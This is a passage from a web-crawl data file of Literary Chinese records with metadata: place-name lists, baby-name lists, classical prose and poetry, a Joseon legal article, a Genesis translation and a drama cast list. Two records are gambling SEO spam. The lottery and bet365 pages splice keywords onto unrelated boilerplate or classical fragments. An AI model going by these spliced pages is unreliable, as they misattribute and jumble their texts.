印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.sindiro.com\/guanyu\/jianjie\/","date":"2023-06-09T20:36:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224656833.99\/warc\/CC-MAIN-20230609201549-20230609231549-00227.warc.gz","language":"lzh","language_score":0.4804706275,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4804706275463104, \"cmn_Hani_score\": 0.31646254658699036, \"nan_Hani_score\": 0.1878548562526703, \"yue_Hani_score\": 0.012111919932067394}","num_words":706,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.281,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.547,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王起名字大全男孩两字,王起名字男孩二个字\n王氏100个好听到爆的名字有哪些?\n如下:\n1、恨、歆、禁、兮、狠、幻、染、默、碎、爷、烹、谎。\n2、念、柒、洋、卡、轩、故、槿、怂、吟、素。\n3、寻、废、俊、寂、动、泽、荒、时、裳、乐、阕、鱼、俦。\n4、陌、路、毒、呗、滚、蓝、玉、梁、林、释、情、钿、颖。\n5、凡、、梦、戴、羽、龙、良、伪、呵、默、尘、醉、我。\n姓王的起什么名字好听\n男的女的 补充: 王华磊 王震 哲 王文强 王文鑫 王阳 王慧 湘 王矽 王诗艺 王财苁 王玟青 王景耀 王章华 王推梁 王厚昌 王建洪 王慧瑜 王海昙 王振 鹏 王宸冬 王奕航 王洋浦 王乐宇 王洁 萤 王越 丹 王岳昭 王煊 王晓明 王优滟 王立民 王尚雅 王倚凡 王佑名 王颖 月 王文纪 王珥 王思启 王科 祥 王烁 涛 王睿林 王亭榕 王树淼 王华山 王荣木 王松 峰 王硕 王惰侦 王城池 王圳旺 王志鹏 王灵 王玮嘉 王子康 王仕义 王志濠 王帅 珲 王书屹 王诗菡 王笑 王碧 辉 王朝忠 王慕柯 王孟 霆 王坦帅 王俊 宏 王志伟 王成林 王飞 羽 王乐彤 王留铭 王宗 王思伊 王克 宇 王惠 王寒蕊 王紫泓 王磊 王鸿琦 王中越 王楷桦 王芸楼 王云姗 王惠苏 王盛 岍 王翔 宇 王哲龙 王馨蓝 王旭亮 王玖 王威成 王君沛 王昱霖 王嚣橼 王晓瑜 王亦锦 王肖菲 王连翩 王思远 王泽 静 王一霏 王柏 万 王昕岳 王洪 俊 王祖愉 王昊珊 王凡智 王雅龄 王芸菲 王成秋 王诺 彦 王四芹 王才力 王劲光 王佩兰 王春 王睿阳 王嘉艺 王涵彬 王宜 王涵姝 王岳彪 王永 旭 王艺挺 王壹帆 王美伽 王可 柔 王 国治 王瑜 宁 王子渊 王春荣 王睛玖 王晃 王建建 王明 东 王紫珊 王思橙 王容欣 王盛祥 王沛能 王奕帆 王逸闻 王敏 华 王子任 王烽平 王晟霖 王渊 王忠标 王璐 廷 王爱和 王润泽 王雪薇 王惠君 王保胜 王律 王泳 王泽西 王伦 王欢 妮 王懿 王汇奇 王语译 王珂菡 王忆杏 王立敏 王博钧 王会琰 王迪 王维奕 王柔舸 王嘉 王昀蓁 王应 王承 御 王甜天 王光明 王秀荣 王宇瀚 王凯迪 王依桦 王天天 王云飞 王景滢 王宁 王白波 王屹 王若曦 王育宁 王海岚 王鲡沣 王征才 王庆斌 王潇潇 王皓列 王笔 王浩严 王春益 王美善 王腊群 王筱钧 王红义 王圆盟 王一一 王顺 飞 王胜利 王子青 王思亮 王烨洲 王明姗 王振兴 王杨 阳 王檀 王巧然 王金平 王英学 王宣泽 王惠敏 王晨延 王泳鑫 王思昊 王三一 王烁迪 王窈忻 王脆如 王妗淼 王伟 王馨甜 王沁伦 王雁飘 王倾 王邻 王祺骊 王健 王木工 王河江 王雨 奥 王贵鱼 王秋 珍 王进嘉 王广峰 王铄 王天南 王潆 王理超 王玉波 王弘康 王子兴 王洪蛟 王佳号 王海慧 王贵桂 王含 晴 王奥 王韵茜 王德众 王圣臻 王语湾 王兴华 王斯瑜 王翊 金 王雯 宇 王玉凤 王爰君 王文凤 王佳欣 王锦山 王峻哲 王雪蓬 王永刚 王渊 王姝雨 王俪铭 王鹏 鹏 王梓有 王小静 王闰沅 王启华 王友三 王炜栾 王珈宁 王霈辛 王愈 王诗惠 王景启 王春宇 王玟昱 王雨芯 王静依 王玮 王瑞立 王浣 杰 王奥迪 王暇 王辰泽 王启明 王莫求 王灸攒 王承铠 王民胜 王小静 王翠 珊 王长刚 王可 王贵君 王玉杰 王质方 王先濠 王志浩 王松标 王春江 王金烙 王鸿亮 王学兰 王明钊 王佳鑫 王雨福 王致远 王黎 王梦馨 王眙灵 王晨阅 王海宇 王语 王见昴 王援兰 王海成 王慧湘 王兴纳 王肖凤 王青云 王双斌 王俊瑜 王山冈 王一洲 王粒廷 王立廷 王凌 淇 王世好 王石杰 王一成 王绍歧 王晓芹 王一鸣 王楚 一 王买安 王恩仙 王丁友 王子盈 王宣泽 王青竹 王芝凝 王姝辰 王晓涵 王艺源 王昭 扬 王益衡 王昕瑜 王仪纬 王禹萱 王辰瑕 王烨 王振劣 王语筱 王文君 王静宇 王才哲 王智 豪 王薇 趱 王孝荃 王塞尔 王笛 威 王子封 王秋实 王嘉贤 王一帆 王坤 昀 王越 王尔雅 王文雯 王婉笛 王中立 王鲮尘 王士业 王彬 王权 王乃迪 王斐发 王海岚 王凡丹 王彦名 王依翎 王文蔚 王丽宏 王潇桐 王彦行 王圣钢 王佳钰 王学斌 王乐璨 王郑东 王玉君 王纯如\n姓王寓意好的男孩名字\n王泽田\n想给孩子起俩个字的名字,他是个男孩。姓王\n王文彬:文质兼备。适用于男孩取名字。出自《论语•雍也》:\"质胜文则野,文胜质则史,文质彬彬,然后君子。\"\n古人取名,常着意于名字的道德意蕴和审美意境,取字往往有出处,大多渊源于诸子典籍和文学名篇,甚至有\"男必楚辞,女必诗经;文必论语,武必周易\"的传统说法。\n姓王的孩子起什么名字好听\n王静娴\n姓王,男孩起名\n王伟即可","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.btstwl.com\/ghtml\/yy3y703.html","date":"2023-10-04T15:23:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511386.54\/warc\/CC-MAIN-20231004152134-20231004182134-00262.warc.gz","language":"lzh","language_score":0.9506388903,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9506388902664185, \"nan_Hani_score\": 0.03921093791723251, \"cmn_Hani_score\": 0.01016608253121376}","num_words":466,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.291,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.954,"perplexity_score":500.0,"cluster_detection":1} +{"text":"諮受法 受法 諮受法言 諮受 孝昌元年八月八日。比邱𡰱僧達爲亡息夂殊造釋迦像。𩔊亡者生天。面奉弥勒。諮受法言。悟无生忍現在。眷常与善居七𠀍父母三有四生。普同此福。","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/coe21.zinbun.kyoto-u.ac.jp\/djvuchar?8AEE,53D7,6CD5","date":"2024-04-16T06:55:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817073.16\/warc\/CC-MAIN-20240416062523-20240416092523-00440.warc.gz","language":"lzh","language_score":0.4500066936,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4500066936016083, \"cmn_Hani_score\": 0.43686527013778687, \"jpn_Jpan_score\": 0.061795420944690704, \"nan_Hani_score\": 0.028593089431524277, \"yue_Hani_score\": 0.010444220155477524}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.45,"perplexity_score":500.0,"cluster_detection":1} +{"text":"祝姓这个姓氏是一个比较吉利的姓氏,很多节日的时候我们都会用到祝福的。那么有关祝姓有四种说法,一说出自姬姓,为黄帝之裔;一说出自己姓,祝融之后;一说以官职为姓;还有一说出自他族改姓。那么对于祝姓男孩应该用于什么样的名字呢?下面我们一起来看看祝姓男孩名字大全。\n祝洲伟 祝文伟 祝武伟 祝政伟 祝时伟 祝一伟 祝胤伟 祝永胤 祝党生 祝七一 祝全伟 祝勃伟 祝涌伟 祝泳伟 祝永伟 祝咏伟 祝春伟 祝育伟 祝傲君 祝傲伟 祝文修 祝晋武 祝荣伟 祝玉伟 祝震伟 祝振伟 祝业伟 祝镇南 祝南星 祝海军 祝乙丁 祝平安 祝艺心 祝玉祥 祝海宝 祝培瑜 祝小桐 祝桐桐 祝彰良 祝彰廷 祝嘉成 祝启盛 祝乾罡 祝乾昭 祝晗容 祝晗舜 祝云鹏 祝溪蔚 祝兴爱 祝林寒 祝林雅 祝榕与 祝寿健 祝腾霄 祝汇诚 祝宏楷 祝建春 祝家毅 祝言海 祝清华 祝申酉 祝英明 祝高瞻 祝心心 祝明昕 祝天杰 祝丽莎 祝紫敦 祝士超 祝子舜 祝跻纯 祝丈朝 祝千闰 祝敕展 祝敕升 祝敕容 祝敕真 祝敕程 祝翎朝 祝翎腾 祝翎展 祝晗真 祝晗丞 祝那海 祝敕纯 祝崇继 祝彩轩 祝启轩 祝乾羡 祝海纯 祝晗升 祝晗中 祝乾盛 祝彩翔 祝彩襄 祝彩超 祝彩顺 祝彩升 祝佳乐 祝忌乐 祝阴乐 祝名乐 祝立乐 祝六乐 祝三乐 祝二乐 祝天乐 祝星乐 祝乙乐 祝乙刀 祝一一 祝子韬 祝春霖 祝泽霖 祝鼎航 祝鼎淘 祝鼎滔 祝鼎涛 祝鼎韬 祝利华 祝晓丹 祝开辉 祝晓单 祝鼎神 祝鼎取 祝鼎怀 祝鼎名 祝鼎四 祝鼎六 祝鼎三 祝鼎二 祝鼎力 祝乐鼎 祝一鼎 祝鼎一 祝鼎陆 祝鼎乐 祝鼎旺 祝鼎当 祝鼎立 祝鼎灵 祝鼎金 祝鼎嘉 祝鼎豪 祝鼎饕 祝琪涛 祝世峰 祝友明 祝云强 祝云祥 祝丽波 祝秀君 祝钰椒 祝玉申 祝振慧 祝培玻 祝关定 祝培波 祝金水 祝阁选 祝远识 祝希远 祝恩泽 祝含知 祝云逸 祝逸云 祝云菲 祝云歌 祝熙贵 祝伊宁 祝伊格 祝逸格 祝家彤 祝子越 祝旋宁 祝云浩 祝丽雅 祝凌云 祝普力 祝语澜 祝嘉露 祝震宇 祝相华 祝雨虹 祝美华 祝令屹 祝令绮 祝展桢 祝展浩 祝柔柔 祝和健 祝旭东 祝孟春 祝雨乔 祝应臣 祝小苏 祝敬强 祝薇儿 祝真强 祝奕晗 祝瑞晨 祝女骊 祝和敏 祝千秋 祝嘉禧 祝令博 祝晶菁 祝晶晶 祝思慧 祝婉欣 祝佳蕾 祝昕蕾 祝彦斌 祝佳蕊 祝亚伦 祝曼妮 祝欣月 祝珊妮 祝姗姗 祝姗妮 祝梦希 祝梦茜 祝义玮 祝晶霓 祝晶妮 祝金妮 祝书波 祝书银 祝飞扬 祝菲扬 祝非扬 祝锦亮 祝柔柄 祝俊詹 祝詹鹏 祝天佐 祝俊皓 祝俊浩 祝詹烨 祝文靖 祝佳宁 祝嘉宁 祝鸣笛 祝亚丹 祝静婉 祝柯宇 祝玮毅 祝皓翌 祝翌皓 祝兆丹 祝宁宁 祝佳玮 祝文杰 祝甲明 祝嵩珂 祝伊凡 祝依凡 祝雨彤 祝子烟 祝雨烟 祝颢巍 祝颢轩 祝英俊 祝欣意 祝栎轩 祝韵梓 祝琬玖 祝君龙 祝弈峥 祝海枭 祝静彤 祝虹伊 祝上云 祝冶恪 祝犷海 祝海琦 祝皓耘 祝月之 祝洋阳 祝洋杨 祝泽宸 祝泽宣 祝泽宁 祝干林 祝青云 祝宇宁 祝易彬 祝欢禧 祝嘉隆 祝艳馥\n以上的内容纯属与参考,想要知道详细的情况,可提供个人的详细资料咨询本网站大师。","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/graytoney.com\/c\/xingming\/41539.html","date":"2018-02-19T09:39:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812579.21\/warc\/CC-MAIN-20180219091902-20180219111902-00790.warc.gz","language":"lzh","language_score":0.5603182316,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5603182315826416, \"nan_Hani_score\": 0.34152406454086304, \"yue_Hani_score\": 0.07110322266817093, \"cmn_Hani_score\": 0.02535867877304554}","num_words":292,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.533,"perplexity_score":500.0,"cluster_detection":1} +{"text":"福彩25选7擁有自己專業的物流配送體系.集港口裝卸、倉儲(保稅)、包裝、海運、鐵路、城市客運為一體,可到達任何國家和地區.解決您的后顧之憂豐富的福彩25选7運輸經驗,不斷的完善運作管理成本控制;為客戶降低物流成本,實現雙贏。\n福彩25选7承諾全國免費配送上門地區:北京 四川 成都 重慶 沈陽 長春 山東 湖北 湖南 山西 濟南 太原 黑龍江 吉林 遼寧 甘肅 江蘇 江西 浙江 廣西 上海 云南 貴州 廣西 哈爾濱 武漢 陜西 安徽 大連 武漢 石家莊 太原 開封 長沙 南京 杭州 合肥 南昌 濟南 青島 煙臺 鄭州 常德 南寧 桂林 ???昆明 蘭州 青海 新疆 烏魯木齊 天津 廣東 廣州 徐水 本溪 鞍山 丹東 徐州 信陽 商丘 六安 黃石 河北 河南 貴陽等","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.ayabci.com.cn\/page\/service\/service.php","date":"2019-08-18T05:47:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313617.6\/warc\/CC-MAIN-20190818042813-20190818064813-00229.warc.gz","language":"lzh","language_score":0.6897947788,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6897947788238525, \"cmn_Hani_score\": 0.15364433825016022, \"nan_Hani_score\": 0.13629548251628876, \"yue_Hani_score\": 0.018306339159607887}","num_words":66,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.727,"perplexity_score":500.0,"cluster_detection":1} +{"text":"登真興寺樓賦\n- 季夏六月,子瞻與張戶曹琥同遊真興寺,晚登寺後重閣,南望連山如畫,山前有白鷺十數,杳杳飛去。東南望五丈原,原上有白雲如覆斧。慨然思孔明之遺跡,作書與轍曰:\"可以賦此。\"賦曰:\n涉六月之徂暑兮,溯秦川而遠望。樓憑高而蘧蘧兮,日將薄乎西方。牛羊相從而下來兮,孤煙特起於蒼茫。南望連山之參差兮,奔走相屬而騰驤。桀嶪峨其雄高兮,惟太白與終南。林阜蔚以扶拱兮,浩合遝而穰穰。若群馬之相追逐兮,忽鬱怒而狂章。駢交首以磨頸兮,紛紛馳於四方。日將入而山陰兮,天黝黝而茫茫。淡平雲之凝碧兮,白鷺歸以翱翔。羽嫋嫋其彌遠兮,聲斷絕而復揚。眇將沒而猶見兮,飄若仙人之不可望。曠群歸於何所兮,徂南澗之泱泱。回東望夫修隆兮,隱高原曰五丈。思古人而不可見兮,涕橫流以浪浪。雲塊圠其不起兮,若覆釜而在上。嗟一日之所見兮,蓋千變以異狀。忽已去而莫執兮,夫豈勝乎追想。強馳詞於千里兮,增異日之惆悵。維古事之亦然兮,偶一世之所向。非有意於求幕兮,徒今世之追嚐。雖孔明其何益於五丈兮,使無原其忘亮。覽川原而思古兮,怳亡弓之遺韔。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E7%99%BB%E7%9C%9F%E8%88%88%E5%AF%BA%E6%A8%93%E8%B3%A6","date":"2019-08-20T02:56:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315222.14\/warc\/CC-MAIN-20190820024110-20190820050110-00031.warc.gz","language":"lzh","language_score":0.5794394016,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5794394016265869, \"cmn_Hani_score\": 0.12937648594379425, \"nan_Hani_score\": 0.04489742964506149, \"zxx_Latn_score\": 0.030330197885632515, \"und_Yiii_score\": 0.02541026845574379, \"yue_Hani_score\": 0.013757561333477497, \"und_Xsux_score\": 0.01371586974710226, \"jpn_Jpan_score\": 0.013501628302037716, \"und_Ethi_score\": 0.010807489976286888}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.316,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第101條 典買田宅\n1.凡典買田宅 不稅契者 笞五十 仍追田宅價錢一半入官 不過割者 一畝至五畝 笞四十 每五畝加一等 罪止杖一百 其田入官.\n2.若將已典賣與人田宅 朦朧重復典賣者 以所得價錢計贓 准竊盜論免刺 追價還主 田宅從原典買主爲業 若重復典買之人及牙保知情者 與犯人同罪 追價入官 不知者 不坐.\n3.其所典田宅・園林・碾磨等物 年限已滿 業主備價取贖 若典主托故 不肯放贖者 笞四十 限外遞年所得花利 追徵給主 依價取贖 其年限雖滿 業主無力取贖者 不拘此律.\n※ 《刑法大全》 제5편 律例下 제13장 財産所干律 제6절 典賣有違律 §636, §637","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_160_0050_0010_0060","date":"2019-11-18T06:42:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669454.33\/warc\/CC-MAIN-20191118053441-20191118081441-00355.warc.gz","language":"lzh","language_score":0.4977943599,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.49779435992240906, \"cmn_Hani_score\": 0.3522568345069885, \"nan_Hani_score\": 0.1248963326215744, \"yue_Hani_score\": 0.018998516723513603}","num_words":43,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.469,"perplexity_score":500.0,"cluster_detection":1} +{"text":"bet365体育投注一颗近地小行星飞掠地球\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n或曰,太公博闻,尝事纣。纣无道,去之。游说诸侯,无所遇,而卒西归周西伯。或曰,吕尚处士,隐海滨。周西伯拘羑里,散宜生、闳夭素知而招吕尚。吕尚亦曰\"吾闻西伯贤,又善养老,盍往焉\"。三人者为西伯求美女奇物,献之於纣,以赎西伯。西伯得以出,反国。言吕尚所以事周虽异,然要之为文武师。\n左人郢字行。\n秋,郑厉公突因栎人杀其大夫单伯,遂居之。诸侯闻厉公出奔,伐郑,弗克而去。宋颇予厉公兵,自守於栎,郑以故亦不伐栎。\n其秋,为伐南越,告祷太一。以牡荆画幡日月北斗登龙,以象太一三星,为太一锋,命曰\"灵旗\"。为兵祷,则太史奉以指所伐国。而五利将军使不敢入海,之泰山祠。上使人随验,实毋所见。五利妄言见其师,其方尽,多不雠。上乃诛五利。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/6oez8.51mkmc.com\/zyygl\/745017.html","date":"2020-03-30T19:41:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370497301.29\/warc\/CC-MAIN-20200330181842-20200330211842-00036.warc.gz","language":"lzh","language_score":0.3933457434,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39334574341773987, \"cmn_Hani_score\": 0.27907422184944153, \"nan_Hani_score\": 0.0909687727689743, \"wuu_Hani_score\": 0.025496337562799454, \"yue_Hani_score\": 0.02448459155857563, \"zxx_Latn_score\": 0.021404806524515152, \"und_Tang_score\": 0.017176177352666855, \"und_Cyrl_score\": 0.013273828662931919, \"jpn_Jpan_score\": 0.010677408427000046, \"und_Xsux_score\": 0.010450247675180435}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.478,"perplexity_score":500.0,"cluster_detection":1} +{"text":"張耳・陳餘既至趙、説豪傑曰、秦為亂政虐刑、殘賊天下、北有長城之役、南有五嶺之戍、内外搔動、百姓罷弊、財匱力盡、重以苛法、使天下父子不相聊生。陳王奮臂為天下唱始、莫不響應。於此時不成封侯之業者、非人豪也。因天下之力、誅無道之秦、報父兄之讎、而成大業者、此壯士之一時也。皆然其言、乃收兵數萬人、遂下趙十餘城。\n武臣自號為武信君、進軍圍范陽。范陽人蒯通為其令徐公説武信君曰、范陽令欲以其城先下君、而君不利之、則諸守皆為金城湯池、不可攻也。君計莫若以黄屋朱輪以迎范陽令、使馳鶩乎燕・趙之郊、則邊城皆喜、相率而降。此由以下阪而走丸也。武信君乃以侯迎徐公。燕・趙聞之、降者三十餘城。\n(『漢紀』高祖皇帝紀巻第一)\nまたここで出てくる蒯通は多分あとでまた出てくる。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/t-s.hatenablog.com\/entry\/20181028\/1540652544","date":"2020-10-23T02:50:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107880519.12\/warc\/CC-MAIN-20201023014545-20201023044545-00257.warc.gz","language":"lzh","language_score":0.6369165182,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6369165182113647, \"jpn_Jpan_score\": 0.1976432502269745, \"cmn_Hani_score\": 0.11540592461824417, \"nan_Hani_score\": 0.013273891992866993, \"wuu_Hani_score\": 0.013040666468441486, \"yue_Hani_score\": 0.010835674591362476}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.668,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第一安息日創造天地來歷\n1天地萬物既成、\n2七日上帝工竣、乃憩息、\n3是日上帝畢其事而安息、故以七日為聖日、而錫嘏焉。○\n4-5耶和華上帝既造天地、其畧如左、始造之日、野不生草、不植蔬、耶和華上帝未降霖雨、其時耕作尚無人也。\n6於是霧由地出、以潤土壤。\n7耶和華上帝摶土為人、噓氣入鼻、而成血氣之人。\n立埃田囿\n有河潤園分為四道\n分別善惡之樹唯禁食其果\n亞當與一切活物命名\n18 耶和華上帝曰、不可使夫人獨處、必造一相助為理者。\n19耶和華上帝摶土為走獸、飛鳥、率之至亞當前、視其稱以何名、以亞當所稱之百物、而其名乃定。\n20亞當於六畜、飛鳥、走獸、各命以名、惟亞當無相助為理者。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/wd.bible\/gen.2.wdv","date":"2021-03-07T20:59:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178378872.82\/warc\/CC-MAIN-20210307200746-20210307230746-00515.warc.gz","language":"lzh","language_score":0.5261223316,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5261223316192627, \"cmn_Hani_score\": 0.3817102909088135, \"nan_Hani_score\": 0.045993637293577194, \"jpn_Jpan_score\": 0.029203984886407852}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.526,"perplexity_score":500.0,"cluster_detection":1} +{"text":"導演:朱德承 主演:叮當 楊若兮 夏于喬 王冰 蘇廷石 姬晨牧 方征 王思懿 鄭凱南 李耕 李丹軍 趙玲琪 曹海軍 張澍 黃衛 秦一銘 張芮 王華 剛毅 周建濤 宮輝 何金龍 英琪 吳芃 張永生 張浩 馬雪源 左金珠 黃怡 孫震 關思婷 萌萌 朱慶俠 王永輝 應紅艷 杜連笑 徐聲俠 戴江\n天生就有個小駝背的劉墉與翩翩美少年和珅同為咸安官學弟子,和珅總嘲弄小劉墉的身體缺陷,卻被機靈的小劉墉反其道而行之。但一物降一物,在和珅前應對如流的小劉墉卻對老爸劉統勛收養的義女,號稱是他大\"媳婦\"的金朵兒唯唯諾諾。","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.evervain.com\/maplay\/6986-1-1.html","date":"2021-10-25T03:10:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587623.1\/warc\/CC-MAIN-20211025030510-20211025060510-00639.warc.gz","language":"lzh","language_score":0.5851058364,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.585105836391449, \"cmn_Hani_score\": 0.38742130994796753, \"nan_Hani_score\": 0.022787459194660187}","num_words":40,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.804,"perplexity_score":500.0,"cluster_detection":1} 